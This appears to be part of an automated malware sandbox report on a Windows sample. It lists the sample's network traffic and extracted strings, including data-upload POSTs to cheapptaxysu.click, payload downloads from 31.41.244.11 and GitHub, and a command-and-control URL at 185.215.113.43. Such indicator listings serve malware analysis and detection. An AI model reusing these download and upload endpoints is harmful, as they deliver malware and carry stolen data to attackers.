Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=ZHLBJJS9ZDMKHIHHEARUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12836Host: cheapptaxysu.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=PIX618S5HIQ7M8XLUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15060Host: cheapptaxysu.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=3P1J03KAJY8RISBKRUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20556Host: cheapptaxysu.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=FPS6NVFEDJHVUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1218Host: cheapptaxysu.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=XJST4G4FUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 583298Host: cheapptaxysu.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 77Host: cheapptaxysu.click

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00AFE0C0 recv,recv,recv,recv,

0_2_00AFE0C0

Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: httpbin.orgAccept: /
Source: global traffic	HTTP traffic detected: GET /Urijas/moperats/raw/refs/heads/main/jthjjdweajtujhjad.exe HTTP/1.1Host: github.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Urijas/moperats/refs/heads/main/jthjjdweajtujhjad.exe HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/burpin1/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/geopoxid/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/martin/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/lolz/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/unique3/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /hLfzXsaqNtoEGyaUtOMJ1734514745?argument=hUVxu2Vrg4cEhZp41734574187 HTTP/1.1Host: home.fivetk5vt.topAccept: /
Source: global traffic	HTTP traffic detected: GET /files/dodo/random.exe HTTP/1.1Host: 31.41.244.11

Source: global traffic	DNS traffic detected: DNS query: cheapptaxysu.click
Source: global traffic	DNS traffic detected: DNS query: httpbin.org
Source: global traffic	DNS traffic detected: DNS query: home.fivetk5vt.top
Source: global traffic	DNS traffic detected: DNS query: github.com
Source: global traffic	DNS traffic detected: DNS query: raw.githubusercontent.com
Source: global traffic	DNS traffic detected: DNS query: aspecteirs.lat

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: cheapptaxysu.click

Source: ed0fb10817.exe, 00000024.00000003.3081858259.000000000727F000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://.css
Source: ed0fb10817.exe, 00000024.00000003.3081858259.000000000727F000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://.jpg
Source: skotes.exe, 00000006.00000002.3277060437.000000000147E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000006.00000002.3277060437.000000000147E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phprs
Source: skotes.exe, 00000006.00000002.3277060437.00000000014E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/
Source: skotes.exe, 00000006.00000002.3277060437.000000000147E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/burpin1/random.exe
Source: skotes.exe, 00000006.00000002.3277060437.000000000147E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/burpin1/random.exeed
Source: skotes.exe, 00000006.00000002.3277060437.00000000014AB000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.3277060437.00000000014D4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/dodo/random.exe
Source: skotes.exe, 00000006.00000002.3277060437.00000000014D4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/dodo/random.exe/P
Source: skotes.exe, 00000006.00000002.3277060437.00000000014AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/geopoxid/random.exe
Source: skotes.exe, 00000006.00000002.3277060437.00000000014AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/geopoxid/random.exeL
Source: skotes.exe, 00000006.00000002.3277060437.00000000014AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/lolz/random.exe
Source: skotes.exe, 00000006.00000002.3277060437.00000000014AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/martin/random.exe
Source: skotes.exe, 00000006.00000002.3277060437.00000000014AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique3/random.exe
Source: skotes.exe, 00000006.00000002.3277060437.00000000014AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique3/random.exe/
Source: fe64902db3.exe, 00000023.00000003.3044079409.0000000005645000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: fe64902db3.exe, 00000023.00000003.3044079409.0000000005645000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: skotes.exe, 00000006.00000002.3277060437.00000000014E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: fe64902db3.exe, 00000023.00000003.3103978981.0000000000E84000.00000004.00000020.00020000.00000000.sdmp, fe64902db3.exe, 00000023.00000003.3103034955.0000000000E84000.00000004.00000020.00020000.00000000.sdmp, fe64902db3.exe, 00000023.00000003.2997982510.0000000000E84000.00000004.00000020.00020000.00000000.sdmp, fe64902db3.exe, 00000023.00000003.3151294918.0000000000EBF000.00000004.00000020.00020000.00000000.sdmp, fe64902db3.exe, 00000023.00000003.3081290097.0000000000E84000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000002A.00000002.3185405038.0000000000827000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: powershell.exe, 0000002A.00000002.3209400234.0000000007EC9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microLl
Source: fe64902db3.exe, 00000023.00000003.3044079409.0000000005645000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: skotes.exe, 00000006.00000002.3277060437.00000000014E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y
Source: skotes.exe, 00000006.00000002.3277060437.00000000014E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0
Source: skotes.exe, 00000006.00000002.3277060437.000000000149A000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.3277060437.00000000014E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicTimeStampingCAR36.crl0z
Source: skotes.exe, 00000006.00000002.3277060437.000000000149A000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.3277060437.00000000014E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicTimeStampingRootR46.crl0
Source: fe64902db3.exe, 00000023.00000003.3044079409.0000000005645000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: fe64902db3.exe, 00000023.00000003.3044079409.0000000005645000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: fe64902db3.exe, 00000023.00000003.3044079409.0000000005645000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: fe64902db3.exe, 00000023.00000003.3044079409.0000000005645000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: skotes.exe, 00000006.00000002.3277060437.00000000014E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#
Source: skotes.exe, 00000006.00000002.3277060437.00000000014E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#
Source: skotes.exe, 00000006.00000002.3277060437.000000000149A000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.3277060437.00000000014E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicTimeStampingCAR36.crt0#
Source: skotes.exe, 00000006.00000002.3277060437.000000000149A000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.3277060437.00000000014E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicTimeStampingRootR46.p7c0#
Source: 1c5200ac19.exe, 00000025.00000002.3278002643.00000000025BA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://github.com
Source: 1c5200ac19.exe, 00000025.00000002.3278002643.00000000025BA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://github.comd
Source: ed0fb10817.exe, 00000024.00000003.3081858259.000000000727F000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://home.fivetk5vt.top/hLfzXsaqNtoEGyaUtOMJ17
Source: ed0fb10817.exe, 00000024.00000003.3081858259.000000000727F000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://html4/loose.dtd
Source: powershell.exe, 00000027.00000002.3158863021.0000000005994000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002A.00000002.3196266039.0000000005734000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: skotes.exe, 00000006.00000002.3277060437.00000000014E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: fe64902db3.exe, 00000023.00000003.3044079409.0000000005645000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: fe64902db3.exe, 00000023.00000003.3044079409.0000000005645000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: skotes.exe, 00000006.00000002.3277060437.000000000149A000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.3277060437.00000000014E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.sectigo.com0
Source: powershell.exe, 0000002A.00000002.3188009095.0000000004825000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: 1c5200ac19.exe, 00000025.00000002.3278002643.00000000025FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://raw.githubusercontent.com
Source: 1c5200ac19.exe, 00000025.00000002.3278002643.00000000025FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://raw.githubusercontent.comd
Source: powershell.exe, 00000027.00000002.3156217944.0000000004A85000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002A.00000002.3188009095.0000000004825000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: 1c5200ac19.exe, 00000025.00000002.3278002643.0000000002511000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000027.00000002.3156217944.0000000004931000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002A.00000002.3188009095.00000000046D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000027.00000002.3156217944.0000000004A85000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002A.00000002.3188009095.0000000004825000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: a5bb0fe977.exe, 00000007.00000000.2854327606.0000000000423000.00000002.00000001.01000000.0000000A.sdmp, a5bb0fe977.exe, 00000007.00000003.2857776026.0000000002521000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://usbtor.ru/viewtopic.php?t=798)Z
Source: powershell.exe, 0000002A.00000002.3188009095.0000000004825000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: fe64902db3.exe, 00000023.00000003.3044079409.0000000005645000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: fe64902db3.exe, 00000023.00000003.3044079409.0000000005645000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: fe64902db3.exe, 00000023.00000003.2998874695.00000000055C7000.00000004.00000800.00020000.00000000.sdmp, fe64902db3.exe, 00000023.00000003.2998753778.00000000055C7000.00000004.00000800.00020000.00000000.sdmp, fe64902db3.exe, 00000023.00000003.2998675293.00000000055CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: powershell.exe, 00000027.00000002.3156217944.0000000004931000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002A.00000002.3188009095.00000000046D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lB
Source: fe64902db3.exe, 00000023.00000003.3068900720.0000000005677000.00000004.00000800.00020000.00000000.sdmp, fe64902db3.exe, 00000023.00000003.3068646537.0000000005677000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: fe64902db3.exe, 00000023.00000003.3068900720.0000000005677000.00000004.00000800.00020000.00000000.sdmp, fe64902db3.exe, 00000023.00000003.3068646537.0000000005677000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: fe64902db3.exe, 00000023.00000003.2998874695.00000000055C7000.00000004.00000800.00020000.00000000.sdmp, fe64902db3.exe, 00000023.00000003.2998753778.00000000055C7000.00000004.00000800.00020000.00000000.sdmp, fe64902db3.exe, 00000023.00000003.2998675293.00000000055CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: fe64902db3.exe, 00000023.00000003.2998874695.00000000055C7000.00000004.00000800.00020000.00000000.sdmp, fe64902db3.exe, 00000023.00000003.2998753778.00000000055C7000.00000004.00000800.00020000.00000000.sdmp, fe64902db3.exe, 00000023.00000003.2998675293.00000000055CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: fe64902db3.exe, 00000023.00000003.2998874695.00000000055C7000.00000004.00000800.00020000.00000000.sdmp, fe64902db3.exe, 00000023.00000003.2998753778.00000000055C7000.00000004.00000800.00020000.00000000.sdmp, fe64902db3.exe, 00000023.00000003.2998675293.00000000055CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: fe64902db3.exe, 00000023.00000002.3178608455.0000000000EE3000.00000004.00000020.00020000.00000000.sdmp, fe64902db3.exe, 00000023.00000003.3081127174.0000000000EE3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cheapptaxysu.click/
Source: fe64902db3.exe, 00000023.00000003.2997982510.0000000000E84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cheapptaxysu.click/$
Source: fe64902db3.exe, 00000023.00000002.3177626551.0000000000E52000.00000004.00000020.00020000.00000000.sdmp, fe64902db3.exe, 00000023.00000003.3171987339.0000000000E52000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cheapptaxysu.click/((
Source: fe64902db3.exe, 00000023.00000003.3151565123.0000000000EE3000.00000004.00000020.00020000.00000000.sdmp, fe64902db3.exe, 00000023.00000003.3122972250.0000000000EE3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cheapptaxysu.click/)U
Source: fe64902db3.exe, 00000023.00000003.3151565123.0000000000EE3000.00000004.00000020.00020000.00000000.sdmp, fe64902db3.exe, 00000023.00000003.3172759592.0000000000EE2000.00000004.00000020.00020000.00000000.sdmp, fe64902db3.exe, 00000023.00000003.3103080318.0000000000EE3000.00000004.00000020.00020000.00000000.sdmp, fe64902db3.exe, 00000023.00000003.3103711425.0000000000EE3000.00000004.00000020.00020000.00000000.sdmp, fe64902db3.exe, 00000023.00000002.3178608455.0000000000EE3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cheapptaxysu.click/aU
Source: fe64902db3.exe, 00000023.00000003.3068928766.0000000005625000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cheapptaxysu.click/api
Source: fe64902db3.exe, 00000023.00000003.3151565123.0000000000EE3000.00000004.00000020.00020000.00000000.sdmp, fe64902db3.exe, 00000023.00000003.3172759592.0000000000EE2000.00000004.00000020.00020000.00000000.sdmp, fe64902db3.exe, 00000023.00000003.3122972250.0000000000EE3000.00000004.00000020.00020000.00000000.sdmp, fe64902db3.exe, 00000023.00000002.3178608455.0000000000EE3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cheapptaxysu.click/api#Q3
Source: fe64902db3.exe, 00000023.00000003.3068832553.0000000005621000.00000004.00000800.00020000.00000000.sdmp, fe64902db3.exe, 00000023.00000003.3043629717.0000000005625000.00000004.00000800.00020000.00000000.sdmp, fe64902db3.exe, 00000023.00000003.3043435144.0000000005622000.00000004.00000800.00020000.00000000.sdmp, fe64902db3.exe, 00000023.00000003.3068775064.0000000005615000.00000004.00000800.00020000.00000000.sdmp, fe64902db3.exe, 00000023.00000003.3043267529.000000000561A000.00000004.00000800.00020000.00000000.sdmp, fe64902db3.exe, 00000023.00000003.3068928766.0000000005625000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cheapptaxysu.click/apiN
Source: fe64902db3.exe, 00000023.00000003.3150420529.0000000005625000.00000004.00000800.00020000.00000000.sdmp, fe64902db3.exe, 00000023.00000003.3122100287.0000000005625000.00000004.00000800.00020000.00000000.sdmp, fe64902db3.exe, 00000023.00000002.3184499500.0000000005625000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cheapptaxysu.click/apia
Source: fe64902db3.exe, 00000023.00000003.3151565123.0000000000EE3000.00000004.00000020.00020000.00000000.sdmp, fe64902db3.exe, 00000023.00000003.3172759592.0000000000EE2000.00000004.00000020.00020000.00000000.sdmp, fe64902db3.exe, 00000023.00000002.3178608455.0000000000EE3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cheapptaxysu.click/apipings
Source: fe64902db3.exe, 00000023.00000003.3151565123.0000000000EE3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cheapptaxysu.click/iU
Source: fe64902db3.exe, 00000023.00000003.3151565123.0000000000EE3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cheapptaxysu.click/qU
Source: fe64902db3.exe, 00000023.00000003.3102781816.0000000005625000.00000004.00000800.00020000.00000000.sdmp, fe64902db3.exe, 00000023.00000003.3068832553.0000000005621000.00000004.00000800.00020000.00000000.sdmp, fe64902db3.exe, 00000023.00000003.3150420529.0000000005625000.00000004.00000800.00020000.00000000.sdmp, fe64902db3.exe, 00000023.00000003.3122100287.0000000005625000.00000004.00000800.00020000.00000000.sdmp, fe64902db3.exe, 00000023.00000003.3069222676.0000000005625000.00000004.00000800.00020000.00000000.sdmp, fe64902db3.exe, 00000023.00000003.3068775064.0000000005615000.00000004.00000800.00020000.00000000.sdmp, fe64902db3.exe, 00000023.00000002.3184499500.0000000005625000.00000004.00000800.00020000.00000000.sdmp, fe64902db3.exe, 00000023.00000003.3103802274.0000000005625000.00000004.00000800.00020000.00000000.sdmp, fe64902db3.exe, 00000023.00000003.3068928766.0000000005625000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cheapptaxysu.click:443/api
Source: fe64902db3.exe, 00000023.00000003.3068900720.0000000005677000.00000004.00000800.00020000.00000000.sdmp, fe64902db3.exe, 00000023.00000003.3068646537.0000000005677000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: fe64902db3.exe, 00000023.00000003.3068900720.0000000005677000.00000004.00000800.00020000.00000000.sdmp, fe64902db3.exe, 00000023.00000003.3068646537.0000000005677000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: powershell.exe, 0000002A.00000002.3196266039.0000000005734000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 0000002A.00000002.3196266039.0000000005734000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 0000002A.00000002.3196266039.0000000005734000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: ed0fb10817.exe, 00000024.00000003.3081858259.000000000727F000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/alt-svc.html
Source: ed0fb10817.exe, 00000024.00000003.3081858259.000000000727F000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/hsts.html
Source: ed0fb10817.exe, 00000024.00000003.3081858259.000000000727F000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/http-cookies.html
Source: fe64902db3.exe, 00000023.00000003.2998874695.00000000055C7000.00000004.00000800.00020000.00000000.sdmp, fe64902db3.exe, 00000023.00000003.2998753778.00000000055C7000.00000004.00000800.00020000.00000000.sdmp, fe64902db3.exe, 00000023.00000003.2998675293.00000000055CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: fe64902db3.exe, 00000023.00000003.2998874695.00000000055C7000.00000004.00000800.00020000.00000000.sdmp, fe64902db3.exe, 00000023.00000003.2998753778.00000000055C7000.00000004.00000800.00020000.00000000.sdmp, fe64902db3.exe, 00000023.00000003.2998675293.00000000055CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: fe64902db3.exe, 00000023.00000003.2998874695.00000000055C7000.00000004.00000800.00020000.00000000.sdmp, fe64902db3.exe, 00000023.00000003.2998753778.00000000055C7000.00000004.00000800.00020000.00000000.sdmp, fe64902db3.exe, 00000023.00000003.2998675293.00000000055CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 1c5200ac19.exe, 00000025.00000002.3278002643.00000000025AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com
Source: powershell.exe, 0000002A.00000002.3188009095.0000000004825000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: skotes.exe, 00000006.00000002.3277060437.00000000014E6000.00000004.00000020.00020000.00000000.sdmp, 1c5200ac19.exe, 00000025.00000000.3110356023.0000000000282000.00000002.00000001.01000000.00000011.sdmp, 1c5200ac19.exe, 00000025.00000002.3278002643.0000000002539000.00000004.00000800.00020000.00000000.sdmp, 1c5200ac19.exe, 00000025.00000002.3278002643.0000000002511000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Urijas/moperats/raw/refs/heads/main/jthjjdweajtujhjad.exe
Source: powershell.exe, 00000027.00000002.3156217944.000000000528C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000027.00000002.3156217944.0000000005119000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: ed0fb10817.exe, 00000024.00000003.3081858259.000000000727F000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://httpbin.org/ip
Source: ed0fb10817.exe, 00000024.00000003.3081858259.000000000727F000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://httpbin.org/ipbefore
